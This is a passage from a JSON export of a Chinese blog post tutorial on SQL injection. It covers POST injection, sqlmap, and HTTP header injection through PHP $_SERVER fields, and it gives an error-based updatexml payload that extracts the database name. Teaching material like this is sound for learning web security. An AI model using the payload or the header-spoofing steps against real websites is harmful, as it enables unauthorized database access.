wp-image-1031\" title=\"2204804-20211211213118757-905591498\" src=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/replace\/ea350a0c3803f71cfccea30ef3e048bd.png\" alt=\"2204804-20211211213118757-905591498\" width=\"985\" height=\"271\" \/><\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1032\" title=\"2204804-20211211213420352-1392478263\" src=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/replace\/b6a55cbfbee27b66e01951d2d627f3f8.png\" alt=\"2204804-20211211213420352-1392478263\" width=\"561\" height=\"530\" \/><\/p>\n<p>&nbsp;<\/p>\n<p><strong>OK\uff0c\uff0c\u6765\u6765\u6765\uff0c\uff0c\u4f20\u53c2\u5185\u5bb9\u51fa\u73b0\u4e86\u5427\uff0c\uff0c<\/strong><\/p>\n<p><strong>\u3000\u3000\u90a3\u5c31\u5728burp\u91cc\u6d4b\u8bd5\u5427<\/strong><\/p>\n<p><strong>\u3000\u3000\u5269\u4e0b\u7684\u6b65\u9aa4\u5c31\u548cGET\u6ce8\u5165\u4e00\u6a21\u4e00\u6837\u4e86\uff0c\u4fee\u6539\u4f20\u53c2\u5185\u5bb9<\/strong><\/p>\n<p><strong><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1033\" title=\"2204804-20211211213911727-1173240331\" src=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/replace\/883a39ba2c49453d2489e2fecc4744f2.png\" alt=\"2204804-20211211213911727-1173240331\" width=\"1261\" height=\"484\" \/><\/strong><\/p>\n<p><strong>OK\uff0c\u8fd8\u662f\u5224\u65ad\u95ed\u5408\u7c7b\u578b\uff0c\u8fd9\u91cc\u5224\u65ad\u662f\u6574\u5f62\u95ed\u5408 &gt;&gt; \u5224\u65ad\u5b57\u6bb5\u6570 &gt;&gt; \u5224\u65ad\u663e\u4f4d &gt;&gt; \u67e5\u8be2\u6570\u636e\u5e93\u6570\u636e\u00a0 \u00a0 \u00a0 so easy<\/strong><\/p>\n<p><strong>\u3000\u3000\u76f4\u63a5\u7ed9\u51fa\u7ed3\u679c<\/strong><\/p>\n<p><strong><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1034\" title=\"2204804-20211211214418036-1252763446\" src=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/replace\/50c131926777222f462d51db031719a4.png\" alt=\"2204804-20211211214418036-1252763446\" width=\"1262\" height=\"543\" \/><\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u3000\u3000OK\uff0c\u5f88\u7b80\u5355\u5427\uff0c\u518d\u6765\u4e00\u4e2a\u5168\u81ea\u52a8\u597d\u4e0d\u597d\uff0c\u7528\u5de5\u5177Sqlmap\u6765\u505a\uff0c\u4e0d\u61c2\u539f\u7406\u7528\u5de5\u5177\u53eb\u505aVery low-end script boy \u5f53\u6211\u4eec\u61c2\u4e86\u539f\u7406\u7528\u5de5\u5177\u90a3\u4e48\u6211\u4eec\u5c31\u662f\u00a0increase of efficiency<\/strong><\/p>\n<p><strong>\u3000\u3000 OK\uff0cGET\u6ce8\u5165 AND\u00a0 POST\u6ce8\u5165 \u5230\u8fd9\u5c31\u5dee\u4e0d\u591a\u4e86\uff0c\u662f\u4e0d\u662f\u5f88\u7b80\u5355\uff0c\u8fd9\u662f\u6700\u57fa\u7840\u7684\uff0c\u4e00\u822c\u7f51\u7ad9\u53ef\u4e0d\u4f1a\u8fd9\u4e48\u5bb9\u6613\uff0c\u8bb2\u8fd9\u4e2a\u53ea\u662f\u4e00\u4e2a\u5165\u95e8\uff0c\u544a\u8bc9\u5927\u5bb6SQL\u6ce8\u5165\u662f\u5982\u4f55\u53d1\u751f\u7684\uff0c\u4ece\u800c\u66f4\u597d \u7406\u89e3\u9ad8\u7ea7\u7684SQL\u6ce8\u5165\uff0c\u4e00\u822c\u7f51\u7ad9\u4f1a\u505a\u5f88\u591a\u9632\u62a4\u548c\u8fc7\u6ee4\uff0c\uff0c\u6bd4\u5982\u8fc7\u6ee4\u654f\u611f\u5b57\uff0c\u50cfand\/or\/#\/&#8217;\/&#8221;\u00a0 \u7b49\u7b49\u8fd9\u4e9b\u654f\u611f\u5b57\u7b26\u5f88\u5bb9\u6613\u88ab\u7f51\u7ad9\u8fc7\u6ee4\u548c\u62e6\u622a\uff0c\uff0c\u5f53\u7136\u4e86\uff0c\u9632\u62a4\u8fd8\u6709\u5f88\u591a\u9ad8\u7ea7\u7684\u9632\u62a4\uff0c\u7834\u89e3\u4e5f\u6709\u5f88\u591a\u9ad8\u7ea7\u7684\u7834\u89e3<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u56db\u3001HEAD\u6ce8\u5165<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u3000\u30001\u3001HEAD\u6ce8\u5165\u539f\u7406<\/strong><\/p>\n<p><strong>\u3000\u3000\u5728\u4f20\u53c2\u7684\u65f6\u5019\uff0c\u5c06\u6211\u4eec\u7684\u6570\u636e\u6784\u5efa\u5728http\u5934\u90e8<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u3000\u3000\u5229\u7528\u4e86php\u7684\u5168\u5c40\u53d8\u91cf$_server\u83b7\u53d6\u7528\u6237\u7684\u76f8\u5173\u4fe1\u606f\u4e14\u5c06\u6570\u636e\u5b58\u5165\u6570\u636e\u5e93\uff0c\u5229\u7528updatexml\u51fd\u6570\u8f93\u5165sql\u8bed\u53e5\uff0c\u8fd4\u56de\u4fe1\u606f<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u3000\u3000\u901a\u5e38HTTP\u6d88\u606f\u5305\u62ec\u5ba2\u6237\u673a\u5411\u670d\u52a1\u5668\u7684\u8bf7\u6c42\u6d88\u606f\u548c\u670d\u52a1\u5668\u5411\u5ba2\u6237\u673a\u7684\u54cd\u5e94\u6d88\u606f\u3002\u8fd9\u4e24\u79cd\u7c7b\u578b\u7684\u6d88\u606f\u7531\u4e00\u4e2a\u8d77\u59cb\u884c\uff0c\u4e00\u4e2a\u6216\u8005\u591a\u4e2a\u5934\u57df\uff0c\u4e00\u4e2a\u53ea\u662f\u5934\u57df\u7ed3\u675f\u7684\u7a7a\u884c\u548c\u53ef\u9009\u7684\u6d88\u606f\u4f53\u7ec4\u6210\u3002HTTP\u7684\u5934\u57df\u5305\u62ec\u901a\u7528\u5934\uff0c\u8bf7\u6c42\u5934\uff0c\u54cd\u5e94\u5934\u548c\u5b9e\u4f53\u5934\u56db\u4e2a\u90e8\u5206\u3002\u6bcf\u4e2a\u5934\u57df\u7531\u4e00\u4e2a\u57df\u540d\uff0c\u5192\u53f7\uff08:\uff09\u548c\u57df\u503c\u4e09\u90e8\u5206\u7ec4\u6210\u3002\u57df\u540d\u662f\u5927\u5c0f\u5199\u65e0\u5173\u7684\uff0c\u57df\u503c\u524d\u53ef\u4ee5\u6dfb\u52a0\u4efb\u4f55\u6570\u91cf\u7684\u7a7a\u683c\u7b26\uff0c\u5934\u57df\u53ef\u4ee5\u88ab\u6269\u5c55\u4e3a\u591a\u884c\uff0c\u5728\u6bcf\u884c\u5f00\u59cb\u5904\uff0c\u4f7f\u7528\u81f3\u5c11\u4e00\u4e2a\u7a7a\u683c\u6216\u5236\u8868\u7b26\u3002<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u3000\u30002\u3001PHP\u8d85\u5168\u5c40\u53d8\u91cf<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u3000\u3000\u8d85\u5168\u5c40\u53d8\u91cf<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u3000\u3000php\u4e2d\u8bb8\u591a\u9884\u5b9a\u4e49\u53d8\u91cf\u90fd\u662f\u8d85\u5168\u5c40\u53d8\u91cf\uff0c\u8fd9\u610f\u5473\u7740\u5b83\u4eec\u5728\u4e00\u4e2a\u811a\u672c\u7684\u5168\u90e8\u4f5c\u7528\u57df\u4e2d\u90fd\u53ef\u7528<\/strong><strong>\u3000\u3000<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><strong>$_REQUEST(\u83b7\u53d6GET\/POST\/COOKIE)COOKIE\u5728\u65b0\u7248\u672c\u5df2\u7ecf\u65e0\u6cd5\u83b7\u53d6\u4e86<\/strong><br \/>\n<strong>\u3000\u3000$_POST(\u83b7\u53d6POST\u4f20\u53c2)<\/strong><br \/>\n<strong>\u3000\u3000$_GET(\u83b7\u53d6GET\u4f20\u53c2)<\/strong><br \/>\n<strong>\u3000\u3000$_COOKIE(\u83b7\u53d6COOKIE\u4f20\u53c2)<\/strong><br \/>\n<strong>\u3000\u3000$_SERVER(\u5305\u542b\u4e86\u8bf8\u5982\u5934\u4fe1\u606f\uff08header\uff09\u3001\u8def\u5f84\uff08path\uff09\u3001\u4ee5\u53ca\u811a\u672c\u4f4d\u7f6e\uff08script locations\uff09\u7b49\u7b49\u4fe1\u606f\u7684\u6570\u7ec4)<\/strong><br \/>\n<strong>\u3000\u3000$_SERVER[&#8216;HTTP_REFERER&#8217;]\u83b7\u53d6referer\u8bf7\u6c42\u5934\u6570\u636e<\/strong><br \/>\n<strong>\u3000\u3000$_SERVER[&#8220;HTTP_USER_AGENT&#8221;]\u83b7\u53d6\u7528\u6237\u76f8\u5173\u4fe1\u606f\uff0c\u5305\u62ec\u7528\u6237\u6d4f\u89c8\u5668\u3001\u64cd\u4f5c\u7cfb\u7edf\u7b49\u4fe1\u606f<\/strong><br \/>\n<strong>\u3000\u3000$_SERVER[&#8220;REMOTE_ADDR&#8221;]\u6d4f\u89c8\u7f51\u9875\u7684\u7528\u6237ip<\/strong><\/p>\n<p>&nbsp;<\/p>\n<div>\n<p>\u3000\u3000<strong>User-Agent\uff1a\u670d\u52a1\u5668\u83b7\u53d6\u5ba2\u6237\u7684\u64cd\u4f5c\u7cfb\u7edf\uff0c\u6d4f\u89c8\u5668\u7248\u672c\u7b49\uff0c\u6709\u4e9b\u7f51\u7ad9\u4e2d\u4f1a\u5c06\u83b7\u53d6\u7684\u4fe1\u606f\u5b58\u5165\u6570\u636e\u5e93\u4e2d<\/strong><\/p>\n<p><strong>\u3000\u3000Cookie\uff1a\u8eab\u4efd\u4fe1\u606f\u3001\u8fdb\u884c session \u8ddf\u8e2a\u800c\u50a8\u5b58\u5728\u7528\u6237\u672c\u5730\u7ec8\u7aef\u4e0a\u7684\u6570\u636e\uff0c\u4e00\u822c\u4f1a\u52a0\u5bc6.<\/strong><\/p>\n<p><strong>\u3000\u3000X-Forwarded-For\uff1aXFF\u5934\uff0c\u4ee3\u8868\u5ba2\u6237\u7aef\uff0cHTTP\u7684\u8bf7\u6c42\u7aef\u771f\u5b9e\u7684IP\uff0c\u6709\u4e9b\u7f51\u7ad9\u7684\u9632\u6ce8\u5165\u529f\u80fd\u4f1a\u8bb0\u5f55\u8bf7\u6c42\u7aef\u771f\u5b9eIP\u5730\u5740\u5e76\u5199\u5165\u6570\u636e\u5e93\uff0c\u4fee\u6539XXF\u5934\u53ef\u865a\u5047IP<\/strong><\/p>\n<p><strong>\u3000\u3000Rerferer\uff1a\u6d4f\u89c8\u5668\u544a\u8bc9WEB \u670d\u52a1\u5668\u662f\u4ece\u54ea\u4e2a\u9875\u9762\u94fe\u63a5\u8fc7\u6765\u7684.<\/strong><\/p>\n<p><strong>\u3000\u3000Host\uff1a\u5ba2\u6237\u7aef\u6307\u5b9a\u8bbf\u95ee\u7684WEB\u670d\u52a1\u5668\u7684\u57df\u540d\/IP \u5730\u5740\u548c\u7aef\u53e3\u53f7<\/strong><\/p>\n<\/div>\n<p>&nbsp;<\/p>\n<p><strong>\u3000\u30003\u3001updatexml()\u51fd\u6570<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u3000\u3000updatexml() \u66f4\u65b0xml\u6587\u6863\u7684\u51fd\u6570<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u3000\u3000\u8bed\u6cd5\uff1aupdatexml(\u76ee\u6807xml\u5185\u5bb9\uff0cxml\u6587\u6863\u8def\u5f84\uff0c\u66f4\u65b0xml\u5185\u5bb9)<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u3000\u3000OK\uff0c\u8fd9\u91cc\u770b\u4e0a\u53bb\u662f\u53bb\u66f4\u65b0\u4e86xml\u6587\u6863\uff0c\u5b9e\u9645\u4e0a\u5728xml\u6587\u6863\u8def\u5f84\u7684\u4f4d\u7f6e\u5199\u4e86\u5b50\u67e5\u8be2\u8bed\u53e5\uff0c\u7136\u540e\u8f93\u5165\u7279\u6b8a\u5b57\u7b26\uff0c\u4e4b\u540e\u56e0\u4e3a\u4e0d\u7b26\u5408\u8f93\u5165\u89c4\u5219\u62a5\u9519\u4e86\uff0c\u5176\u5b9e\u5728\u62a5\u9519\u7684\u65f6\u5019\u5df2\u7ecf\u6267\u884cl\u5b50\u67e5\u8be2\u8bed\u53e5<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u3000\u3000\u3010xml\u6587\u6863\u8def\u5f84 \u586b\u5199 \uff1a0x7e\u3011<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u3000\u3000concat()\u662f\u62fc\u63a5\u5b57\u7b26\u4e32\u51fd\u6570<\/strong><\/p>\n<p>&nbsp;<\/p>\n<div class=\"cnblogs_Highlighter sh-gutter\">\n<div>\n<div id=\"highlighter_188270\" class=\"syntaxhighlighter sql\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"sql plain\">updatexml(1,concat(0x7e,(<\/code><code class=\"sql keyword\">select<\/code>\u00a0<code class=\"sql keyword\">database<\/code><code class=\"sql plain\">()),0x7e),1)<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>&nbsp;<\/p>\n<p><strong>\u3000\u3000why? 0x7e\u662f16\u8fdb\u5236\uff0cMySQL\u5b57\u7b26\u4e32\u662f\u652f\u6301\u5341\u516d\u8fdb\u5236\u7684\uff0c\u6709\u4e2a\u524d\u63d0\uff1a\u5f00\u5934\u987b\u51990x \uff0c\u8fd9\u5c31\u662f\u544a\u8bc9MySQL\u4e0b\u9762\u8981\u5f00\u59cb\u5341\u516d\u8fdb\u5236\u4e86\u3002\u800c7e\u624d\u662f\u5341\u516d\u8fdb\u5236\u7684\u5185\u5bb9\uff0c7e\u662f\u4e2a\u7279\u6b8a\u7b26\u53f7\uff0c\u4e00\u5b9a\u4e0d\u7b26\u5408\u8def\u5f84\u89c4\u5219<\/strong><\/p>\n<p>https:\/\/www.cnblogs.com\/yyy413\/p\/15674290.html<\/p>\n","protected":false},"excerpt":{"rendered":"<p>SQL\u6ce8\u5165\u8be6\u7ec6\u8bb2\u89e3\u6982\u62ec-GET\u6ce8\u5165\u3001POST\u6ce8\u5165\u3001HEAD\u6ce8&hellip;<\/p>\n","protected":false},"author":1,"featured_media":1053,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[16],"tags":[],"class_list":["post-1015","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-webanquan"],"_links":{"self":[{"href":"https:\/\/blog.nonot.cn\/index.php\/wp-json\/wp\/v2\/posts\/1015","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.nonot.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.nonot.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.nonot.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.nonot.cn\/index.php\/wp-json\/wp\/v2\/comments?post=1015"}],"version-history":[{"count":2,"href":"https:\/\/blog.nonot.cn\/index.php\/wp-json\/wp\/v2\/posts\/1015\/revisions"}],"predecessor-version":[{"id":1055,"href":"https:\/\/blog.nonot.cn\/index.php\/wp-json\/wp\/v2\/posts\/1015\/revisions\/1055"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.nonot.cn\/index.php\/wp-json\/wp\/v2\/media\/1053"}],"wp:attachment":[{"href":"https:\/\/blog.nonot.cn\/index.php\/wp-json\/wp\/v2\/media?parent=1015"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.nonot.cn\/index.php\/wp-json\/wp\/v2\/categories?post=1015"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.nonot.cn\/index.php\/wp-json\/wp\/v2\/tags?post=1015"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}